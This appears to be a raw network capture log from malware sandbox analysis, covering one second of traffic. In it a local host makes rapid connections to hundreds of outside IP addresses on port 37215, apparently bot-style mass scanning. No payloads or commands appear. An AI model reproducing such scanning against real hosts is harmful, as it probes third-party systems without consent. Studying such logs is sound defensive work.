Jun 10, 2024 15:37:59.970016003 CEST	49614	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:59.970246077 CEST	37215	54370	156.201.14.29	192.168.2.13
Jun 10, 2024 15:37:59.970273972 CEST	37215	54966	156.201.14.29	192.168.2.13
Jun 10, 2024 15:37:59.970309019 CEST	54966	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:59.970505953 CEST	60046	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:59.970505953 CEST	60046	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:59.970869064 CEST	60624	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:59.971115112 CEST	37215	48328	41.15.193.245	192.168.2.13
Jun 10, 2024 15:37:59.971143007 CEST	37215	48922	41.15.193.245	192.168.2.13
Jun 10, 2024 15:37:59.971178055 CEST	48922	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:59.971256971 CEST	37215	41788	197.234.232.228	192.168.2.13
Jun 10, 2024 15:37:59.971340895 CEST	47258	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:59.971354961 CEST	47258	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:59.971705914 CEST	47834	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:59.972188950 CEST	41548	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:59.972188950 CEST	41548	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:59.972419024 CEST	37215	42378	197.234.232.228	192.168.2.13
Jun 10, 2024 15:37:59.972448111 CEST	37215	36602	197.230.194.3	192.168.2.13
Jun 10, 2024 15:37:59.972455025 CEST	42378	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:59.972523928 CEST	37215	37190	197.230.194.3	192.168.2.13
Jun 10, 2024 15:37:59.972574949 CEST	37190	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:59.972578049 CEST	42122	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:59.972877026 CEST	37215	58160	197.119.156.133	192.168.2.13
Jun 10, 2024 15:37:59.973057985 CEST	56350	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:59.973057985 CEST	56350	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:59.973243952 CEST	37215	58744	197.119.156.133	192.168.2.13
Jun 10, 2024 15:37:59.973288059 CEST	58744	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:59.973433018 CEST	56922	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:59.973752022 CEST	37215	45692	156.27.221.22	192.168.2.13
Jun 10, 2024 15:37:59.973932981 CEST	60388	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.973932981 CEST	60388	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.974020958 CEST	37215	46274	156.27.221.22	192.168.2.13
Jun 10, 2024 15:37:59.974060059 CEST	46274	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:59.974339008 CEST	60956	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.974535942 CEST	37215	49034	197.216.238.129	192.168.2.13
Jun 10, 2024 15:37:59.974792004 CEST	44740	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.974805117 CEST	44740	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.974873066 CEST	37215	49614	197.216.238.129	192.168.2.13
Jun 10, 2024 15:37:59.974915981 CEST	49614	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:59.975183964 CEST	45278	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.975528002 CEST	37215	60046	41.174.115.39	192.168.2.13
Jun 10, 2024 15:37:59.975667000 CEST	36530	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.975667000 CEST	36530	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.975730896 CEST	37215	60624	41.174.115.39	192.168.2.13
Jun 10, 2024 15:37:59.975773096 CEST	60624	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:59.976023912 CEST	37064	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.976188898 CEST	37215	47258	41.170.34.101	192.168.2.13
Jun 10, 2024 15:37:59.976496935 CEST	34932	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.976505995 CEST	34932	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.976574898 CEST	37215	47834	41.170.34.101	192.168.2.13
Jun 10, 2024 15:37:59.976617098 CEST	47834	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:59.976874113 CEST	35462	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.977140903 CEST	37215	41548	197.33.14.33	192.168.2.13
Jun 10, 2024 15:37:59.977354050 CEST	60878	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.977354050 CEST	60878	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.977606058 CEST	37215	42122	197.33.14.33	192.168.2.13
Jun 10, 2024 15:37:59.977647066 CEST	42122	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:59.977751017 CEST	33172	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.977950096 CEST	37215	56350	156.211.89.221	192.168.2.13
Jun 10, 2024 15:37:59.978245974 CEST	60256	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.978245974 CEST	60256	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.978302002 CEST	37215	56922	156.211.89.221	192.168.2.13
Jun 10, 2024 15:37:59.978346109 CEST	56922	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:59.978617907 CEST	60776	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.978629112 CEST	37215	55322	41.112.237.34	192.168.2.13
Jun 10, 2024 15:37:59.978679895 CEST	37215	60882	41.1.16.245	192.168.2.13
Jun 10, 2024 15:37:59.978712082 CEST	37215	49110	156.143.243.166	192.168.2.13
Jun 10, 2024 15:37:59.978739023 CEST	37215	53100	41.97.23.92	192.168.2.13
Jun 10, 2024 15:37:59.978790998 CEST	37215	37610	156.89.39.231	192.168.2.13
Jun 10, 2024 15:37:59.978818893 CEST	37215	32834	156.249.70.243	192.168.2.13
Jun 10, 2024 15:37:59.978846073 CEST	37215	33796	156.205.253.53	192.168.2.13
Jun 10, 2024 15:37:59.978872061 CEST	37215	45682	41.117.101.224	192.168.2.13
Jun 10, 2024 15:37:59.978897095 CEST	37215	41114	156.18.195.164	192.168.2.13
Jun 10, 2024 15:37:59.978924036 CEST	37215	33064	41.251.69.196	192.168.2.13
Jun 10, 2024 15:37:59.978950977 CEST	37215	44436	156.190.41.183	192.168.2.13
Jun 10, 2024 15:37:59.978977919 CEST	37215	60470	156.57.11.197	192.168.2.13
Jun 10, 2024 15:37:59.979007959 CEST	37215	60388	197.149.113.57	192.168.2.13
Jun 10, 2024 15:37:59.979090929 CEST	45156	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.979090929 CEST	45156	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.979208946 CEST	37215	60956	197.149.113.57	192.168.2.13
Jun 10, 2024 15:37:59.979264021 CEST	60956	37215	192.168.2.13	197.149.113.57
Jun 10, 2024 15:37:59.979458094 CEST	45672	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.979711056 CEST	37215	44740	41.38.164.93	192.168.2.13
Jun 10, 2024 15:37:59.979939938 CEST	35362	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.979939938 CEST	35362	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.980065107 CEST	37215	45278	41.38.164.93	192.168.2.13
Jun 10, 2024 15:37:59.980108976 CEST	45278	37215	192.168.2.13	41.38.164.93
Jun 10, 2024 15:37:59.980319977 CEST	35874	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.980602980 CEST	37215	36530	156.231.3.185	192.168.2.13
Jun 10, 2024 15:37:59.980839014 CEST	35420	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.980839014 CEST	35420	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.980918884 CEST	37215	37064	156.231.3.185	192.168.2.13
Jun 10, 2024 15:37:59.980967999 CEST	37064	37215	192.168.2.13	156.231.3.185
Jun 10, 2024 15:37:59.981225014 CEST	35928	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.981373072 CEST	37215	34932	197.9.107.34	192.168.2.13
Jun 10, 2024 15:37:59.981700897 CEST	41120	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.981718063 CEST	41120	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.981786013 CEST	37215	35462	197.9.107.34	192.168.2.13
Jun 10, 2024 15:37:59.981826067 CEST	35462	37215	192.168.2.13	197.9.107.34
Jun 10, 2024 15:37:59.982085943 CEST	41624	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.982229948 CEST	37215	60878	41.140.184.247	192.168.2.13
Jun 10, 2024 15:37:59.982567072 CEST	60620	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.982575893 CEST	60620	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.982625961 CEST	37215	47918	197.192.210.171	192.168.2.13
Jun 10, 2024 15:37:59.982677937 CEST	37215	33172	41.140.184.247	192.168.2.13
Jun 10, 2024 15:37:59.982705116 CEST	37215	38508	156.67.226.82	192.168.2.13
Jun 10, 2024 15:37:59.982716084 CEST	33172	37215	192.168.2.13	41.140.184.247
Jun 10, 2024 15:37:59.982733011 CEST	37215	56378	156.60.90.199	192.168.2.13
Jun 10, 2024 15:37:59.982758999 CEST	37215	56460	156.32.132.93	192.168.2.13
Jun 10, 2024 15:37:59.982961893 CEST	32888	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.983161926 CEST	37215	60256	41.204.133.93	192.168.2.13
Jun 10, 2024 15:37:59.983452082 CEST	44048	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.983452082 CEST	44048	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.983809948 CEST	44544	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.983860016 CEST	37215	60776	41.204.133.93	192.168.2.13
Jun 10, 2024 15:37:59.983902931 CEST	60776	37215	192.168.2.13	41.204.133.93
Jun 10, 2024 15:37:59.983964920 CEST	37215	45156	197.37.79.4	192.168.2.13
Jun 10, 2024 15:37:59.984292984 CEST	52668	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.984304905 CEST	52668	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.984473944 CEST	37215	45672	197.37.79.4	192.168.2.13
Jun 10, 2024 15:37:59.984527111 CEST	45672	37215	192.168.2.13	197.37.79.4
Jun 10, 2024 15:37:59.984688997 CEST	53158	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.984900951 CEST	37215	35362	41.117.93.142	192.168.2.13
Jun 10, 2024 15:37:59.985167027 CEST	57818	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.985179901 CEST	57818	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.985233068 CEST	37215	35874	41.117.93.142	192.168.2.13
Jun 10, 2024 15:37:59.985272884 CEST	35874	37215	192.168.2.13	41.117.93.142
Jun 10, 2024 15:37:59.985541105 CEST	58304	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.985779047 CEST	37215	35420	197.64.121.194	192.168.2.13
Jun 10, 2024 15:37:59.986004114 CEST	53016	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.986018896 CEST	53016	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.986135006 CEST	37215	35928	197.64.121.194	192.168.2.13
Jun 10, 2024 15:37:59.986177921 CEST	35928	37215	192.168.2.13	197.64.121.194
Jun 10, 2024 15:37:59.986419916 CEST	53498	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.986593962 CEST	37215	41120	41.186.239.153	192.168.2.13
Jun 10, 2024 15:37:59.986645937 CEST	37215	33514	156.78.13.161	192.168.2.13
Jun 10, 2024 15:37:59.986671925 CEST	37215	49626	197.53.161.229	192.168.2.13
Jun 10, 2024 15:37:59.986700058 CEST	37215	56768	41.92.127.129	192.168.2.13
Jun 10, 2024 15:37:59.986726046 CEST	37215	45636	197.11.121.199	192.168.2.13
Jun 10, 2024 15:37:59.986752987 CEST	37215	51088	156.185.143.113	192.168.2.13
Jun 10, 2024 15:37:59.986870050 CEST	57044	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.986870050 CEST	57044	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.987008095 CEST	37215	41624	41.186.239.153	192.168.2.13
Jun 10, 2024 15:37:59.987050056 CEST	41624	37215	192.168.2.13	41.186.239.153
Jun 10, 2024 15:37:59.987242937 CEST	57522	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.987643957 CEST	37215	60620	41.144.136.243	192.168.2.13
Jun 10, 2024 15:37:59.987735987 CEST	37842	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.987747908 CEST	37842	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.987814903 CEST	37215	32888	41.144.136.243	192.168.2.13
Jun 10, 2024 15:37:59.987853050 CEST	32888	37215	192.168.2.13	41.144.136.243
Jun 10, 2024 15:37:59.988121033 CEST	38316	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.988367081 CEST	37215	44048	197.255.246.136	192.168.2.13
Jun 10, 2024 15:37:59.988624096 CEST	51130	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.988624096 CEST	51130	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.988761902 CEST	37215	44544	197.255.246.136	192.168.2.13
Jun 10, 2024 15:37:59.988801003 CEST	44544	37215	192.168.2.13	197.255.246.136
Jun 10, 2024 15:37:59.988996983 CEST	51600	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.989211082 CEST	37215	52668	156.197.209.223	192.168.2.13
Jun 10, 2024 15:37:59.989479065 CEST	58502	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.989479065 CEST	58502	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.989528894 CEST	37215	53158	156.197.209.223	192.168.2.13
Jun 10, 2024 15:37:59.989558935 CEST	53158	37215	192.168.2.13	156.197.209.223
Jun 10, 2024 15:37:59.989834070 CEST	58968	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.990091085 CEST	37215	57818	156.159.10.140	192.168.2.13
Jun 10, 2024 15:37:59.990322113 CEST	37196	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.990322113 CEST	37196	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.990405083 CEST	37215	58304	156.159.10.140	192.168.2.13
Jun 10, 2024 15:37:59.990447044 CEST	58304	37215	192.168.2.13	156.159.10.140
Jun 10, 2024 15:37:59.990712881 CEST	37656	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.990861893 CEST	37215	53016	156.32.124.85	192.168.2.13
Jun 10, 2024 15:37:59.991203070 CEST	52860	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.991203070 CEST	52860	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.991240978 CEST	37215	53498	156.32.124.85	192.168.2.13
Jun 10, 2024 15:37:59.991276979 CEST	53498	37215	192.168.2.13	156.32.124.85
Jun 10, 2024 15:37:59.991578102 CEST	53316	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.991730928 CEST	37215	57044	156.218.214.250	192.168.2.13
Jun 10, 2024 15:37:59.992068052 CEST	49128	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.992069006 CEST	49128	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.992099047 CEST	37215	57522	156.218.214.250	192.168.2.13
Jun 10, 2024 15:37:59.992130041 CEST	57522	37215	192.168.2.13	156.218.214.250
Jun 10, 2024 15:37:59.992434025 CEST	49580	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.992618084 CEST	37215	37842	41.209.100.187	192.168.2.13
Jun 10, 2024 15:37:59.992906094 CEST	33394	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.992919922 CEST	33394	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.992980003 CEST	37215	38316	41.209.100.187	192.168.2.13
Jun 10, 2024 15:37:59.993016958 CEST	38316	37215	192.168.2.13	41.209.100.187
Jun 10, 2024 15:37:59.993268013 CEST	33842	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.993484020 CEST	37215	51130	41.109.81.128	192.168.2.13
Jun 10, 2024 15:37:59.993726969 CEST	53342	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.993726969 CEST	53342	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.993942976 CEST	37215	51600	41.109.81.128	192.168.2.13
Jun 10, 2024 15:37:59.993971109 CEST	51600	37215	192.168.2.13	41.109.81.128
Jun 10, 2024 15:37:59.994076967 CEST	53786	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.994313002 CEST	37215	58502	197.156.129.89	192.168.2.13
Jun 10, 2024 15:37:59.994517088 CEST	39806	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.994517088 CEST	39806	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.994611025 CEST	37215	53768	156.31.27.232	192.168.2.13
Jun 10, 2024 15:37:59.994621038 CEST	37215	46644	156.79.10.64	192.168.2.13
Jun 10, 2024 15:37:59.994630098 CEST	37215	60614	156.10.20.117	192.168.2.13
Jun 10, 2024 15:37:59.994647026 CEST	37215	34092	41.30.124.178	192.168.2.13
Jun 10, 2024 15:37:59.994704008 CEST	37215	55606	197.142.203.17	192.168.2.13
Jun 10, 2024 15:37:59.994713068 CEST	37215	41282	156.97.36.34	192.168.2.13
Jun 10, 2024 15:37:59.994734049 CEST	37215	42108	197.215.149.213	192.168.2.13
Jun 10, 2024 15:37:59.994741917 CEST	37215	46442	156.98.83.218	192.168.2.13
Jun 10, 2024 15:37:59.994750023 CEST	37215	39894	197.56.205.250	192.168.2.13
Jun 10, 2024 15:37:59.994757891 CEST	37215	53482	156.82.1.213	192.168.2.13
Jun 10, 2024 15:37:59.994765997 CEST	37215	33492	197.125.224.191	192.168.2.13
Jun 10, 2024 15:37:59.994774103 CEST	37215	58968	197.156.129.89	192.168.2.13
Jun 10, 2024 15:37:59.994801044 CEST	58968	37215	192.168.2.13	197.156.129.89
Jun 10, 2024 15:37:59.994925976 CEST	40246	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.995126963 CEST	37215	37196	41.89.132.28	192.168.2.13
Jun 10, 2024 15:37:59.995486021 CEST	58564	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.995486975 CEST	58564	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.995583057 CEST	37215	37656	41.89.132.28	192.168.2.13
Jun 10, 2024 15:37:59.995608091 CEST	37656	37215	192.168.2.13	41.89.132.28
Jun 10, 2024 15:37:59.995712042 CEST	59000	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:37:59.996004105 CEST	37215	52860	156.29.235.89	192.168.2.13
Jun 10, 2024 15:37:59.996135950 CEST	60446	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.996135950 CEST	60446	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.996383905 CEST	37215	53316	156.29.235.89	192.168.2.13
Jun 10, 2024 15:37:59.996417999 CEST	53316	37215	192.168.2.13	156.29.235.89
Jun 10, 2024 15:37:59.996506929 CEST	60876	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:37:59.996927977 CEST	37215	49128	156.165.201.247	192.168.2.13
Jun 10, 2024 15:37:59.996932030 CEST	38538	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.996942997 CEST	38538	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.997308969 CEST	38964	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:37:59.997337103 CEST	37215	49580	156.165.201.247	192.168.2.13
Jun 10, 2024 15:37:59.997375965 CEST	49580	37215	192.168.2.13	156.165.201.247
Jun 10, 2024 15:37:59.997709036 CEST	37215	33394	156.168.136.24	192.168.2.13
Jun 10, 2024 15:37:59.997797966 CEST	42556	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.997797966 CEST	42556	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.998047113 CEST	37215	33842	156.168.136.24	192.168.2.13
Jun 10, 2024 15:37:59.998080015 CEST	33842	37215	192.168.2.13	156.168.136.24
Jun 10, 2024 15:37:59.998171091 CEST	42978	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.998570919 CEST	37215	53342	197.218.247.171	192.168.2.13
Jun 10, 2024 15:37:59.998646021 CEST	59662	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.998646021 CEST	59662	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.998949051 CEST	37215	53786	197.218.247.171	192.168.2.13
Jun 10, 2024 15:37:59.998996019 CEST	53786	37215	192.168.2.13	197.218.247.171
Jun 10, 2024 15:37:59.999023914 CEST	60080	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.999385118 CEST	37215	39806	197.99.205.156	192.168.2.13
Jun 10, 2024 15:37:59.999496937 CEST	37368	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:37:59.999516010 CEST	37368	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:37:59.999759912 CEST	37215	40246	197.99.205.156	192.168.2.13
Jun 10, 2024 15:37:59.999795914 CEST	40246	37215	192.168.2.13	197.99.205.156
Jun 10, 2024 15:37:59.999875069 CEST	37782	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:38:00.000374079 CEST	42520	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:38:00.000374079 CEST	42520	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:38:00.000761986 CEST	42930	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:38:00.001255035 CEST	37376	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:38:00.001255035 CEST	37376	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:38:00.001658916 CEST	37782	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:38:00.002136946 CEST	54402	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:38:00.002137899 CEST	54402	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:38:00.002504110 CEST	54802	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:38:00.002528906 CEST	37215	58564	156.245.2.205	192.168.2.13
Jun 10, 2024 15:38:00.002540112 CEST	37215	59000	156.245.2.205	192.168.2.13
Jun 10, 2024 15:38:00.002580881 CEST	59000	37215	192.168.2.13	156.245.2.205
Jun 10, 2024 15:38:00.002985001 CEST	34412	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:38:00.002985001 CEST	34412	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:38:00.003104925 CEST	37215	56508	197.35.253.5	192.168.2.13
Jun 10, 2024 15:38:00.003113985 CEST	37215	58850	41.119.93.57	192.168.2.13
Jun 10, 2024 15:38:00.003122091 CEST	37215	38428	197.123.58.130	192.168.2.13
Jun 10, 2024 15:38:00.003138065 CEST	37215	38960	41.86.126.31	192.168.2.13
Jun 10, 2024 15:38:00.003145933 CEST	37215	59100	156.216.173.116	192.168.2.13
Jun 10, 2024 15:38:00.003154039 CEST	37215	39354	41.113.11.68	192.168.2.13
Jun 10, 2024 15:38:00.003161907 CEST	37215	38414	156.167.122.41	192.168.2.13
Jun 10, 2024 15:38:00.003170013 CEST	37215	36294	41.12.156.197	192.168.2.13
Jun 10, 2024 15:38:00.003176928 CEST	37215	33990	41.196.189.226	192.168.2.13
Jun 10, 2024 15:38:00.003185034 CEST	37215	58684	197.252.226.228	192.168.2.13
Jun 10, 2024 15:38:00.003194094 CEST	37215	60446	197.226.229.29	192.168.2.13
Jun 10, 2024 15:38:00.003202915 CEST	37215	60876	197.226.229.29	192.168.2.13
Jun 10, 2024 15:38:00.003211021 CEST	37215	38538	41.179.145.152	192.168.2.13
Jun 10, 2024 15:38:00.003218889 CEST	37215	38964	41.179.145.152	192.168.2.13
Jun 10, 2024 15:38:00.003228903 CEST	60876	37215	192.168.2.13	197.226.229.29
Jun 10, 2024 15:38:00.003237009 CEST	37215	42556	41.195.163.183	192.168.2.13
Jun 10, 2024 15:38:00.003240108 CEST	38964	37215	192.168.2.13	41.179.145.152
Jun 10, 2024 15:38:00.003246069 CEST	37215	42978	41.195.163.183	192.168.2.13
Jun 10, 2024 15:38:00.003289938 CEST	42978	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:38:00.003340006 CEST	34808	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:38:00.003802061 CEST	33756	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:38:00.003813982 CEST	33756	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:38:00.004111052 CEST	37215	59662	197.50.100.135	192.168.2.13
Jun 10, 2024 15:38:00.004120111 CEST	37215	60080	197.50.100.135	192.168.2.13
Jun 10, 2024 15:38:00.004148960 CEST	60080	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:38:00.004179001 CEST	34148	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:38:00.004367113 CEST	37215	37368	156.90.232.117	192.168.2.13
Jun 10, 2024 15:38:00.004662037 CEST	53414	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:38:00.004673004 CEST	53414	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:38:00.005029917 CEST	53802	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:38:00.005516052 CEST	53026	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:38:00.005554914 CEST	53026	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:38:00.005723953 CEST	37215	37782	156.90.232.117	192.168.2.13
Jun 10, 2024 15:38:00.005733967 CEST	37215	42520	156.225.196.18	192.168.2.13
Jun 10, 2024 15:38:00.005764961 CEST	37782	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:38:00.005799055 CEST	37215	42930	156.225.196.18	192.168.2.13
Jun 10, 2024 15:38:00.005836964 CEST	42930	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:38:00.005903006 CEST	53410	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:38:00.006376982 CEST	45572	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:38:00.006390095 CEST	45572	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:38:00.006416082 CEST	37215	37376	156.15.16.186	192.168.2.13
Jun 10, 2024 15:38:00.006707907 CEST	37215	42564	197.27.200.127	192.168.2.13
Jun 10, 2024 15:38:00.006716013 CEST	37215	56034	41.66.186.65	192.168.2.13
Jun 10, 2024 15:38:00.006724119 CEST	37215	47272	41.201.89.180	192.168.2.13
Jun 10, 2024 15:38:00.006742001 CEST	45952	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:38:00.006834030 CEST	37215	44164	41.26.2.2	192.168.2.13
Jun 10, 2024 15:38:00.006863117 CEST	37215	51050	41.41.95.201	192.168.2.13
Jun 10, 2024 15:38:00.007220030 CEST	53538	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:38:00.007234097 CEST	53538	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:38:00.007530928 CEST	37215	37782	156.15.16.186	192.168.2.13
Jun 10, 2024 15:38:00.007566929 CEST	37782	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:38:00.007596970 CEST	53914	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:38:00.007599115 CEST	37215	54402	41.63.241.27	192.168.2.13
Jun 10, 2024 15:38:00.008064032 CEST	39324	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:38:00.008074999 CEST	39324	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:38:00.008436918 CEST	39694	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:38:00.008764029 CEST	37215	54802	41.63.241.27	192.168.2.13
Jun 10, 2024 15:38:00.008774042 CEST	37215	34412	156.156.74.74	192.168.2.13
Jun 10, 2024 15:38:00.008781910 CEST	37215	34808	156.156.74.74	192.168.2.13
Jun 10, 2024 15:38:00.008790970 CEST	54802	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:38:00.008827925 CEST	34808	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:38:00.008861065 CEST	37215	33756	197.244.78.206	192.168.2.13
Jun 10, 2024 15:38:00.008956909 CEST	36608	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:38:00.008956909 CEST	36608	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:38:00.009387970 CEST	36974	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:38:00.009413958 CEST	37215	34148	197.244.78.206	192.168.2.13
